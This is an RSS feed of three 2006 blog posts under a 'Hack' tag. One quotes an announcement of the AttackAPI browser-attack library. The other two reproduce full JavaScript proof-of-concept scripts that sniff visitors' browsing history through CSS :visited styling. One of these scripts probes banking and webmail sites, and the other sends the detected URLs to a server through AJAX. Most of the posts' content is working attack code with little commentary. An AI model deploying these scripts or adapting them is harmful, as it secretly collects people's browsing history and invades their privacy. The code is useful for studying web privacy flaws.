<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://weblogs.asp.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Jesse Ezell Blog : Hack</title><link>http://weblogs.asp.net/jezell/archive/tags/Hack/default.aspx</link><description>Tags: Hack</description><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>Web = Minefield</title><link>http://weblogs.asp.net/jezell/archive/2006/09/07/Web-_3D00_-Minefield.aspx</link><pubDate>Thu, 07 Sep 2006 04:56:00 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:524802</guid><dc:creator>Jesse Ezell</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://weblogs.asp.net/jezell/rsscomments.aspx?PostID=524802</wfw:commentRss><comments>http://weblogs.asp.net/jezell/archive/2006/09/07/Web-_3D00_-Minefield.aspx#comments</comments><description>A simple way to compromise security of computers everywhere. How nice.
&lt;blockquote&gt;&lt;h2&gt;AttackAPI (0.6)&lt;/h2&gt;
&lt;p class="post-date"&gt;August 31st, 2006&lt;/p&gt;
&lt;p&gt;AttackAPI provides simple and intuitive web programmable interface
for composing attack vectors with JavaScript and other client (and
server) related technologies. The current release supports several
browser based attacking techniques and simple but powerful JavaScript
console.&lt;/p&gt;
&lt;p&gt;The standalone components of the library can be found at the following locations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/standalone/AttackAPI.js"&gt;http://www.gnucitizen.org/projects/attackapi/build/standalone/AttackAPI.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/standalone/MasterAPI.js"&gt;http://www.gnucitizen.org/projects/attackapi/build/standalone/MasterAPI.js&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Demonstration of the library capabilities is available here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/index.htm"&gt;Index&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/Client.htm"&gt;Client&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/AuthorizationForcer.htm"&gt;AuthorizationForcer&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/ExtensionScanner.htm"&gt;ExtensionScanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/HistoryDumper.htm"&gt;HistoryDumper&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/NetworkSweeper.htm"&gt;NetworkSweeper&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/PortScanner.htm"&gt;PortScanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/Utils.htm"&gt;Utils&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.gnucitizen.org/projects/attackapi/build/inf/interfaces/JavaScriptShell.htm"&gt;JavaScriptShell&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The 0.7 release promises to integrate and introduce more tools and techniques.&lt;/p&gt;
&lt;/blockquote&gt;





&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;[1] &lt;a href="http://www.gnucitizen.org/projects/attackapi/"&gt;http://www.gnucitizen.org/projects/attackapi/&lt;/a&gt;&lt;/p&gt;
&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=524802" width="1" height="1"&gt;</description><category domain="http://weblogs.asp.net/jezell/archive/tags/General+Software+Development/default.aspx">General Software Development</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Javascript/default.aspx">Javascript</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Hack/default.aspx">Hack</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Security/default.aspx">Security</category></item><item><title>Stealing History (Part 2)</title><link>http://weblogs.asp.net/jezell/archive/2006/08/26/Stealing-History-_2800_Part-2_2900_.aspx</link><pubDate>Sat, 26 Aug 2006 19:32:00 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:490775</guid><dc:creator>Jesse Ezell</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://weblogs.asp.net/jezell/rsscomments.aspx?PostID=490775</wfw:commentRss><comments>http://weblogs.asp.net/jezell/archive/2006/08/26/Stealing-History-_2800_Part-2_2900_.aspx#comments</comments><description>&lt;p&gt;Cody Swann has a modified version of &lt;a href="http://weblogs.asp.net/jezell/archive/2006/08/25/Stealing-History.aspx"&gt;the exploit&lt;/a&gt; using prototype that works in IE and has support for AJAX requests:&lt;/p&gt;&lt;pre&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://script.aculo.us/prototype.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
Have you been to these sites?
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;

Snoop = Class.create();

Snoop.prototype = {
	initialize: function(options)
	{
		this.options = Object.extend({
			writeStyle: true,
			linkObjArray: null, //AN ARRAY OF JSON FORMATTED LINK OBJ IN THE FORM OF {link:&amp;#39;http://...&amp;#39;,text:&amp;#39;nameOfSite&amp;#39;} THAT WILL BE CHECKED
			identifier: &amp;#39;&amp;#39;, //IF SAVING THE DATA, THIS IS WHAT YOU WOULD LIKE TO USE TO IDENFIFY THE SESSON
			saveURL: null, //URL TO SEND THE DATA TO
			method: &amp;#39;get&amp;#39;, //METHOD USED IN AJAX SAVE
			transport: null, //TRANSPORT USED TO SEND SAVED DATA (XMLHTTPRequest by default)
			onComplete: function(visitedLinks)///FUNCTION CALLED AFTER PARSING LINKS
			{
				var dummy = document.createElement(&amp;#39;ul&amp;#39;);
				visitedLinks.each(
					function(linkObj)
					{
						var text = document.createTextNode(linkObj.text);
						var node = document.createElement(&amp;#39;a&amp;#39;);
						var li = document.createElement(&amp;#39;li&amp;#39;);
						node.appendChild(text);
						node.setAttribute(&amp;#39;href&amp;#39;,linkObj.link);
						li.appendChild(node);
						dummy.appendChild(li);
					}
				);
				document.body.appendChild(dummy);
			},
			onSaveComplete: function(){},///CALLBACK FOR AJAX FUNCTION ON SUCCESS
			onSaveError: function(){}///CALLBACK FOR AJAX FUNCTION ON FAILURE
		}, options || {});
		this._visitedLinks = [];
		if(this.options.writeStyle)
		{
			document.write(&amp;#39;&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;a.testerLink:visited{display:block;height:1px;}&amp;lt;/style&amp;gt;&amp;#39;);
		}
		this.collectVisitedLinks();
		this.finish();
	},
	collectVisitedLinks: function()
	{
		var dummy = document.createElement(&amp;#39;div&amp;#39;);
		dummy.id = &amp;#39;visitTestDiv&amp;#39;;
		Element.setStyle(dummy,{visibility:&amp;#39;hidden&amp;#39;,height:&amp;#39;1px&amp;#39;,lineHeight:&amp;#39;1px&amp;#39;});
		document.body.appendChild(dummy);
		var linkObjs = this.options.linkObjArray || [{link:&amp;#39;http://new.com/&amp;#39;,text:&amp;#39;new&amp;#39;},{link:&amp;#39;http://new.2com/&amp;#39;,text:&amp;#39;new2&amp;#39;},{link:&amp;#39;http://google.com/&amp;#39;,text:&amp;#39;Google.com&amp;#39;},{link:&amp;#39;http://espn.go.com/&amp;#39;,text:&amp;#39;ESPN.com&amp;#39;},{link:&amp;#39;http://script.aculo.us/&amp;#39;,text:&amp;#39;Scriptaculous&amp;#39;},{link:&amp;#39;http://digg.com/&amp;#39;,text:&amp;#39;Digg&amp;#39;},{link:&amp;#39;http://blog.slimc.com/&amp;#39;,text:&amp;#39;Slimc.com&amp;#39;},{link:&amp;#39;http://www.cnn.com/&amp;#39;,text:&amp;#39;CNN.com&amp;#39;},{link:&amp;#39;http://www.yahoo.com/&amp;#39;,text:&amp;#39;Yahoo!&amp;#39;},{link:&amp;#39;http://myspace.com&amp;#39;,text:&amp;#39;MySpace&amp;#39;},{link:&amp;#39;http://www.ebay.com/&amp;#39;,text:&amp;#39;ebay&amp;#39;},{link:&amp;#39;http://wikipedia.org/&amp;#39;,text:&amp;#39;Wikipedia&amp;#39;},{link:&amp;#39;http://amazon.com/&amp;#39;,text:&amp;#39;Amazon.com&amp;#39;},{link:&amp;#39;http://sfbay.craigslist.org/&amp;#39;,text:&amp;quot;Craig&amp;#39;s List&amp;quot;}];
		linkObjs.each(
			function(linkObj,count)
			{
				var text = document.createTextNode(linkObj.text);
				var node = document.createElement(&amp;#39;a&amp;#39;);

				node.setAttribute(&amp;#39;href&amp;#39;,linkObj.link);
				Element.addClassName(node,&amp;#39;testerLink&amp;#39;);
				dummy.appendChild(node);
				if(parseInt(Element.getHeight(node)) != 0)
				{
					this._visitedLinks.push(linkObj);
				}
				Element.remove(node);
			}.bind(this)
		);
		Element.remove(dummy);
	},
	finish: function()
	{
		if(this.options.saveURL)
		{
			var urls = this._visitedLinks.collect(function(link){ return link.link; });
			urls = urls.join(&amp;#39;,&amp;#39;);
			urls = escape(urls.replace(/,$/,&amp;#39;&amp;#39;));
			urls = urls.replace(/%2C/,&amp;#39;,&amp;#39;);
			new Ajax.Request(this.options.saveURL,{
				transport: this.options.transport,
				method: this.options.method,
				parameters: &amp;#39;id=&amp;#39; + this.options.identifier + &amp;#39;&amp;amp;urls=&amp;#39; + urls,
				onSuccess: this.options.onSaveComplete,
				onFailure: this.options.onSaveError
			});
		}
		this.options.onComplete(this._visitedLinks);
	}
};
new Snoop({saveURL:&amp;#39;/right/here&amp;#39;});
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;p&gt;[1] &lt;a href="http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/"&gt;http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/&lt;/a&gt;&lt;/p&gt;&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=490775" width="1" height="1"&gt;</description><category domain="http://weblogs.asp.net/jezell/archive/tags/AJAX/default.aspx">AJAX</category><category domain="http://weblogs.asp.net/jezell/archive/tags/General+Software+Development/default.aspx">General Software Development</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Javascript/default.aspx">Javascript</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Hack/default.aspx">Hack</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Cody+Swann/default.aspx">Cody Swann</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Prototype/default.aspx">Prototype</category></item><item><title>Stealing History</title><link>http://weblogs.asp.net/jezell/archive/2006/08/25/Stealing-History.aspx</link><pubDate>Thu, 24 Aug 2006 23:15:00 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:484149</guid><dc:creator>Jesse Ezell</dc:creator><slash:comments>6</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://weblogs.asp.net/jezell/rsscomments.aspx?PostID=484149</wfw:commentRss><comments>http://weblogs.asp.net/jezell/archive/2006/08/25/Stealing-History.aspx#comments</comments><description>&lt;p&gt;&lt;em&gt;Update: Cody Swan has a version that works in IE and supports&amp;nbsp;AJAX to log the urls somewhere. Info &lt;a href="http://weblogs.asp.net/jezell/archive/2006/08/26/Stealing-History-_2800_Part-2_2900_.aspx"&gt;here&lt;/a&gt;.&lt;/em&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;Jeremiah Grossman has demonstrated an interesting way to sniff out browser history via CSS hacks. IE7 RC1 is smart enough to block the site, but FireFox lists my history without any complaints. Spooky. The script it embedded on the page, and it appears that basic technique involves setting the visited link color via CSS on a group of links to common sites, and then getting the computed values of the links and seeing which ones have the visited color. Very clever way to hijack someone&amp;#39;s history:&lt;/p&gt;&lt;pre&gt;&amp;lt;&lt;span class="start-tag"&gt;script&lt;/span&gt;&amp;gt;&lt;br /&gt;var agent = navigator.userAgent.toLowerCase();&lt;br /&gt;var is_mozilla = (agent.indexOf(&amp;quot;mozilla&amp;quot;) != -1);&lt;br /&gt;&lt;br /&gt;// popular websites. Lookup if user has visited any.&lt;br /&gt;var websites = [&lt;br /&gt;	&amp;quot;http://login.yahoo.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.jailbabes.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://ha.ckers.org&amp;quot;,&lt;br /&gt;	&amp;quot;http://seoblackhat.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.cgisecurity.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.spidynamics.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.cenzic.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.watchfire.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.ntobjectives.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.webappsec.org&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.whitehatsec.com&amp;quot;,&lt;br /&gt;	&amp;quot;http://english.aljazeera.net/HomePage&amp;quot;,&lt;br /&gt;	&amp;quot;http://mail.google.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://mail.yahoo.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://my.yahoo.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://slashdot.org/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.myspace.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.amazon.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.aol.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.bankofamerica.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.bankone.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.blackhat.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.blogger.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.bofa.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.capitalone.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.chase.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.citibank.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.cnn.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.comerica.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.e-gold.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.ebay.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.etrade.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.google.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.hsbc.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.icq.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.microsoft.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.msn.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.myspace.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.passport.net/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.paypal.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.sourceforge.net/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.statefarm.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.usbank.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.wachovia.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.wamu.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.wellsfargo.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.xanga.com/&amp;quot;,&lt;br /&gt;	&amp;quot;http://www.yahoo.com/&amp;quot;,&lt;br /&gt;	&amp;quot;https://commerce.blackhat.com/&amp;quot;,&lt;br /&gt;	&amp;quot;https:/banking.wellsfargo.com/&amp;quot;,&lt;br /&gt;];&lt;br /&gt;&lt;br /&gt;/* prevent multiple XSS loads */&lt;br /&gt;if (! document.getElementById(&amp;#39;xss_flag&amp;#39;)) {&lt;br /&gt;	&lt;br /&gt;	var d = document.createElement(&amp;#39;div&amp;#39;);&lt;br /&gt;	d.id = &amp;#39;xss_flag&amp;#39;;&lt;br /&gt;	document.body.appendChild(d);&lt;br /&gt;&lt;br /&gt;	var d = document.createElement(&amp;#39;table&amp;#39;);&lt;br /&gt;	d.border = 0;&lt;br /&gt;	d.cellpadding = 5;&lt;br /&gt;	d.cellspacing = 10;&lt;br /&gt;	d.width = &amp;#39;90%&amp;#39;;&lt;br /&gt;	d.align = &amp;#39;center&amp;#39;;&lt;br /&gt;	d.id = &amp;#39;data&amp;#39;;&lt;br /&gt;	document.body.appendChild(d);&lt;br /&gt;	&lt;br /&gt;	document.write(&amp;#39;&amp;lt;style&amp;gt;&amp;#39;);&lt;br /&gt;	for (var i = 0; i &amp;lt; websites.length; i++) {&lt;br /&gt;		document.write(&amp;#39;#id&amp;#39; + i + &amp;quot;:visited {color: #0000FF;}&amp;quot;);&lt;br /&gt;	}&lt;br /&gt;	document.write(&amp;#39;&amp;lt;/style&amp;gt;&amp;#39;);&lt;br /&gt;&lt;br /&gt;	/* launch steal history */&lt;br /&gt;&lt;br /&gt;if (is_mozilla) {&lt;br /&gt;stealHistory();	&lt;br /&gt;}&lt;br /&gt;	&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*--- [method: stealHistory] -------------------------------------------#&lt;br /&gt;# Description: Send a browsers history to an off-domain URL.			#&lt;br /&gt;-----------------------------------------------------------------------*/&lt;br /&gt;function stealHistory() {&lt;br /&gt;	&lt;br /&gt;	// loop through websites and check which ones have been visited&lt;br /&gt;	for (var i = 0; i &amp;lt; websites.length; i++) {&lt;br /&gt;	&lt;br /&gt;		var link = document.createElement(&amp;quot;a&amp;quot;);&lt;br /&gt;		link.id = &amp;quot;id&amp;quot; + i;&lt;br /&gt;		link.href = websites[i];&lt;br /&gt;		link.innerHTML = websites[i];&lt;br /&gt;		&lt;br /&gt;		document.body.appendChild(link);&lt;br /&gt;		var color = document.defaultView.getComputedStyle(link,null).getPropertyValue(&amp;quot;color&amp;quot;);&lt;br /&gt;		document.body.removeChild(link);&lt;br /&gt;&lt;br /&gt;		// check for visited&lt;br /&gt;		if (color == &amp;quot;rgb(0, 0, 255)&amp;quot;) {&lt;br /&gt;			document.write(&amp;#39;&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;&amp;#39; + websites[i] + &amp;#39;&amp;quot;&amp;gt;&amp;#39; + websites[i] + &amp;#39;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;#39;);&lt;br /&gt;		} // end visited check&lt;br /&gt;		&lt;br /&gt;	} // end visited website loop&lt;br /&gt;	&lt;br /&gt;} // end stealHistory method&lt;br /&gt;&lt;br /&gt;&amp;lt;/&lt;span class="end-tag"&gt;script&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;p&gt;[1] &lt;a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html"&gt;http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html&lt;/a&gt;&lt;/p&gt;&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=484149" width="1" height="1"&gt;</description><category domain="http://weblogs.asp.net/jezell/archive/tags/General+Software+Development/default.aspx">General Software Development</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Javascript/default.aspx">Javascript</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Hack/default.aspx">Hack</category><category domain="http://weblogs.asp.net/jezell/archive/tags/History/default.aspx">History</category><category domain="http://weblogs.asp.net/jezell/archive/tags/CSS/default.aspx">CSS</category></item></channel></rss>